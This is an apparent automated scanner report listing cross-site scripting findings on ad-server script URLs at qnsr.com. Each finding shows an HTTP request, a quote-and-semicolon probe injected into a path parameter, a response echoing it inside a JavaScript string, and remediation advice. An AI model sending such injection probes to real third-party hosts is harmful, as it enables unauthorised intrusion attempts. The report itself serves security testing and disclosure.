GET /cgi/k/20120772/1536/0/0/203635133/203635133//0/203/859888920'%3b539f91e0bd9//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:53 GMT Date: Sat, 26 Feb 2011 01:49:53 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d4693'%3b652b91c5004 was submitted in the REST URL parameter 4. This input was echoed as d4693';652b91c5004 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi/k/20120772/1536d4693'%3b652b91c5004/0/0/203635133/203635133//0/203/8598//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:32 GMT Date: Sat, 26 Feb 2011 01:49:32 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c75eb'%3b9d193661b16 was submitted in the REST URL parameter 7. This input was echoed as c75eb';9d193661b16 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi/k/20120772/1536/0/0/203635133c75eb'%3b9d193661b16/203635133//0/203/8598//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2591982 Expires: Mon, 28 Mar 2011 01:49:22 GMT Date: Sat, 26 Feb 2011 01:49:40 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48b1e'%3b09e5343efb0 was submitted in the REST URL parameter 8. This input was echoed as 48b1e';09e5343efb0 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi/k/20120772/1536/0/0/203635133/20363513348b1e'%3b09e5343efb0//0/203/8598//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:43 GMT Date: Sat, 26 Feb 2011 01:49:43 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9039'%3bec5d10b6574 was submitted in the REST URL parameter 9. This input was echoed as a9039';ec5d10b6574 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi/k/20120772/1536/0/0/203635133/203635133//0a9039'%3bec5d10b6574/203/8598//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:46 GMT Date: Sat, 26 Feb 2011 01:49:46 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4d7c'%3bafdedb92150 was submitted in the REST URL parameter 10. This input was echoed as f4d7c';afdedb92150 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/21248/0/0/203687986/203687986//0/203f4d7c'%3bafdedb92150/9542//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1649 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:51 GMT Date: Sat, 26 Feb 2011 01:49:51 GMT Connection: close
var zzADS_CHAN = '203687986'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=0;n=203f4d7c';afdedb92150;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut="window ...[SNIP]...
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78b07'%3b973a986fd5 was submitted in the REST URL parameter 11. This input was echoed as 78b07';973a986fd5 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/954278b07'%3b973a986fd5//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1648 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:56 GMT Date: Sat, 26 Feb 2011 01:49:56 GMT Connection: close
var zzADS_CHAN = '203687986'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=0;n=203;s=954278b07';973a986fd5;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut="window.status ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92286'%3bdf5245fe92e was submitted in the REST URL parameter 4. This input was echoed as 92286';df5245fe92e in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/2124892286'%3bdf5245fe92e/0/0/203687986/203687986//0/203/9542//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1649 Cache-Control: max-age=2591978 Expires: Mon, 28 Mar 2011 01:49:11 GMT Date: Sat, 26 Feb 2011 01:49:33 GMT Connection: close
var zzADS_CHAN = '203687986'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=2124892286';df5245fe92e;c=203687986,203687986;i=0;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff6c9'%3b8c6997a9eb5 was submitted in the REST URL parameter 7. This input was echoed as ff6c9';8c6997a9eb5 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/21248/0/0/203687986ff6c9'%3b8c6997a9eb5/203687986//0/203/9542//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1667 Cache-Control: max-age=2591954 Expires: Mon, 28 Mar 2011 01:48:56 GMT Date: Sat, 26 Feb 2011 01:49:42 GMT Connection: close
var zzADS_CHAN = '203687986ff6c9';8c6997a9eb5'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c72d0'%3bb81f0cdff45 was submitted in the REST URL parameter 8. This input was echoed as c72d0';b81f0cdff45 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/21248/0/0/203687986/203687986c72d0'%3bb81f0cdff45//0/203/9542//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1649 Cache-Control: max-age=2591985 Expires: Mon, 28 Mar 2011 01:49:29 GMT Date: Sat, 26 Feb 2011 01:49:44 GMT Connection: close
var zzADS_CHAN = '203687986'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986c72d0';b81f0cdff45;i=0;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseO ...[SNIP]...
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 43d0c'%3b225d52bbf59 was submitted in the REST URL parameter 9. This input was echoed as 43d0c';225d52bbf59 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20119051/21248/0/0/203687986/203687986//043d0c'%3b225d52bbf59/203/9542//1/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1649 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:47 GMT Date: Sat, 26 Feb 2011 01:49:47 GMT Connection: close
var zzADS_CHAN = '203687986'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=043d0c';225d52bbf59;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut=" ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5edfa'%3b1e8c5ab6679 was submitted in the REST URL parameter 7. This input was echoed as 5edfa';1e8c5ab6679 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20132865/1537/0/0/2036879845edfa'%3b1e8c5ab6679/203687984//0/203/9542//1000002/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1877 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:39 GMT Date: Sat, 26 Feb 2011 01:49:39 GMT Connection: close
var zzADS_CHAN = '2036879845edfa';1e8c5ab6679'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4d45'%3b635acea8c54 was submitted in the REST URL parameter 7. This input was echoed as f4d45';635acea8c54 in the application's response.
